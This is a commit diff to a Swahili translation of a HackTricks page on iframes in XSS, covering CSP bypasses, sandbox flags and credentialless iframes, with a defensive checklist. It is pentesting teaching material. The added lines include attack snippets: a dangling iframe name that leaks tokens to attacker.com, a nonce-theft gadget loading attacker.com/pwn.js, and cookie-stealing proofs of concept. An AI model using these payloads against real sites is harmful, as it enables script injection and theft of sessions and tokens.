mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-
This commit is contained in:
parent
15dfd0bd81
commit
8054289eb2
@ -45,7 +45,7 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
Ikiwa utafungua html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia `secret` var ndani ya iframe yoyote** na **ni iframes if2 & if3 tu (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
|
||||
Ikiwa unapata html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia var `secret` ndani ya iframe yoyote** na **ni iframes if2 & if3 pekee (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
|
||||
Tazama jinsi if4 inachukuliwa kuwa na asili `null`.
|
||||
|
||||
### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
@ -61,7 +61,7 @@ Kwa hivyo inawezekana kupita CSP ya ukurasa kwa:
|
||||
<head>
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
|
||||
</head>
|
||||
<script>
|
||||
var secret = "31337s3cr37t"
|
||||
@ -81,9 +81,9 @@ Hata hivyo, **ni `if1` na `if2` tu ambazo zitatekelezwa lakini ni `if1` pekee it
|
||||
|
||||
.png>)
|
||||
|
||||
Kwa hivyo, inawezekana **kuzidi CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia mwisho wa JSONP wa same-site**.
|
||||
Kwa hivyo, inawezekana **kuzidi CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia kipengele cha JSONP cha same-site**.
|
||||
|
||||
Unaweza kujaribu hii na hali ifuatayo ambapo cookie inanyang'anywa hata na `script-src 'none'`. Endesha tu programu na uifungue na kivinjari chako:
|
||||
Unaweza kujaribu hii na hali ifuatayo ambapo cookie inakuliwa hata na `script-src 'none'`. Endesha tu programu na uifungue na kivinjari chako:
|
||||
```python
|
||||
import flask
|
||||
from flask import Flask
|
||||
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### Payloads Nyingine Zilizopatikana Katika Mwitu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
#### Mbinu mpya za CSP bypass (2023-2025) zikiwa na iframes
|
||||
|
||||
Jamii ya utafiti inaendelea kugundua njia za ubunifu za kutumia iframes ili kushinda sera za kikomo. Hapa chini unaweza kupata mbinu zinazojulikana zaidi zilizochapishwa katika miaka michache iliyopita:
|
||||
|
||||
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – Wakati programu inareflect HTML lakini CSP kali inazuia utekelezaji wa script, bado unaweza kuvuja tokens nyeti kwa kuingiza *dangling* `<iframe name>` attribute. Mara tu markup ya sehemu inaposindika, script ya mshambuliaji inayotembea katika chanzo tofauti inapeleka frame kwa `about:blank` na kusoma `window.name`, ambayo sasa ina kila kitu hadi herufi ya nukuu inayofuata (kwa mfano token ya CSRF). Kwa sababu hakuna JavaScript inayotembea katika muktadha wa mwathirika, shambulio kwa kawaida linakwepa `script-src 'none'`. PoC ndogo ni:
|
||||
|
||||
```html
|
||||
<!-- Injection point just before a sensitive <script> -->
|
||||
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
|
||||
````
|
||||
```javascript
|
||||
// attacker.com frame
|
||||
const victim = window.frames[0];
|
||||
victim.location = 'about:blank';
|
||||
console.log(victim.name); // → leaked value
|
||||
```
|
||||
|
||||
* **Nonce theft via same-origin iframe (2024)** – CSP nonces haziondolewa kutoka DOM; zinafichwa tu katika DevTools. Ikiwa mshambuliaji anaweza kuingiza iframe ya *same-origin* (kwa mfano kwa kupakia HTML kwenye tovuti) frame ya mtoto inaweza kuuliza tu `document.querySelector('[nonce]').nonce` na kuunda nodi mpya za `<script nonce>` zinazokidhi sera, ikitoa utekelezaji kamili wa JavaScript licha ya `strict-dynamic`. Gadget ifuatayo inainua kuingizwa kwa markup kuwa XSS:
|
||||
|
||||
```javascript
|
||||
const n = top.document.querySelector('[nonce]').nonce;
|
||||
const s = top.document.createElement('script');
|
||||
s.src = '//attacker.com/pwn.js';
|
||||
s.nonce = n;
|
||||
top.document.body.appendChild(s);
|
||||
```
|
||||
|
||||
* **Form-action hijacking (PortSwigger 2024)** – Ukurasa unaoacha mwelekeo wa `form-action` unaweza kuwa na fomu ya kuingia *re-targeted* kutoka iframe iliyoungizwa au HTML ya ndani ili wasimamizi wa nywila kujaza kiotomatiki na kuwasilisha akidi kwa kikoa cha nje, hata wakati `script-src 'none'` ipo. Daima kamilisha `default-src` na `form-action`!
|
||||
|
||||
**Maelezo ya kujihami (orodha ya haraka)**
|
||||
|
||||
1. Daima tuma *yote* CSP directives zinazodhibiti muktadha wa pili (`form-action`, `frame-src`, `child-src`, `object-src`, nk.).
|
||||
2. Usitegemee nonces kuwa siri—tumia `strict-dynamic` **na** ondolea maeneo ya kuingiza.
|
||||
3. Unapolazimika kuingiza nyaraka zisizoaminika tumia `sandbox="allow-scripts allow-same-origin"` **kwa uangalifu sana** (au bila `allow-same-origin` ikiwa unahitaji tu kutengwa kwa utekelezaji wa script).
|
||||
4. Fikiria kutekeleza ulinzi wa kina wa COOP+COEP; sifa mpya ya `<iframe credentialless>` (§ hapa chini) inakuruhusu kufanya hivyo bila kuvunja embeds za wahusika wengine.
|
||||
|
||||
### Payloads Nyingine zilizopatikana porini <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe
|
||||
@ -128,20 +164,28 @@ Wakati inapotumika, sifa ya `sandbox` inaweka vizuizi kadhaa:
|
||||
- Inazuia viungo kuingiliana na muktadha mwingine wa kuvinjari.
|
||||
- Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa.
|
||||
- Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
|
||||
- Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji wa video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
|
||||
- Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
|
||||
|
||||
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotenganishwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
|
||||
Tip: Mablazaji ya kisasa yanasaidia bendera za granular kama `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, nk. Changanya hizo ili kutoa tu uwezo wa chini unaohitajika na programu iliyowekwa.
|
||||
|
||||
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotengwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
### Iframes zisizo na akreditivu
|
||||
|
||||
Kama ilivyoelezwa katika [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera ya `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akidi katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakwa ndani ya iframe.
|
||||
Kama ilivyoelezwa katika [hiki kifungu](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akreditivu katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakuliwa ndani ya iframe.
|
||||
|
||||
Hii inaruhusu iframe kufikia taarifa nyeti kutoka iframe nyingine katika SOP sawa iliyopakiwa kwenye ukurasa wa mzazi:
|
||||
Tangu **Chrome 110 (Februari 2023 kipengele hiki kimewezeshwa kwa default** na kiwango kinastandariswa kati ya vivinjari chini ya jina *anonymous iframe*. MDN inaelezea kama: “mekanismu ya kupakia iframes za wahusika wengine katika sehemu mpya ya kuhifadhi ya muda ili kwamba hakuna vidakuzi, localStorage au IndexedDB vinavyoshirikiwa na asili halisi”. Matokeo kwa washambuliaji na walinzi:
|
||||
|
||||
* Skripti katika iframes tofauti zisizo na akreditivu **bado zinashiriki asili ya kiwango cha juu** na zinaweza kuingiliana kwa uhuru kupitia DOM, kufanya mashambulizi ya multi-iframe self-XSS kuwa yawezekana (tazama PoC hapa chini).
|
||||
* Kwa sababu mtandao ni **credential-stripped**, ombi lolote ndani ya iframe linatenda kama kikao kisichothibitishwa – maeneo yaliyolindwa na CSRF kwa kawaida yanashindwa, lakini kurasa za umma zinazoweza kuvuja kupitia DOM bado ziko ndani ya wigo.
|
||||
* Pop-ups zinazozalishwa kutoka iframe isiyo na akreditivu hupata `rel="noopener"` isiyo ya moja kwa moja, ikivunja baadhi ya mchakato wa OAuth.
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||
window.top[1].document.cookie = 'foo=bar'; // write
|
||||
alert(window.top[2].document.cookie); // read -> foo=bar
|
||||
```
|
||||
- Mfano wa unyakuzi: Self-XSS + CSRF
|
||||
|
||||
@ -165,7 +209,7 @@ document.forms[0].submit();
|
||||
|
||||
- Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`).
|
||||
|
||||
Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba kidaku kwa mfano kwa kutekeleza:
|
||||
Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba cookie kwa mfano kwa kutekeleza:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
@ -201,4 +245,10 @@ Angalia kurasa zifuatazo:
|
||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [PortSwigger Research – Kutumia hijacking ya fomu kupita CSP (Machi 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
|
||||
* [Chrome Developers – Iframe bila akreditivu: Rahisi kuingiza iframes katika mazingira ya COEP (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user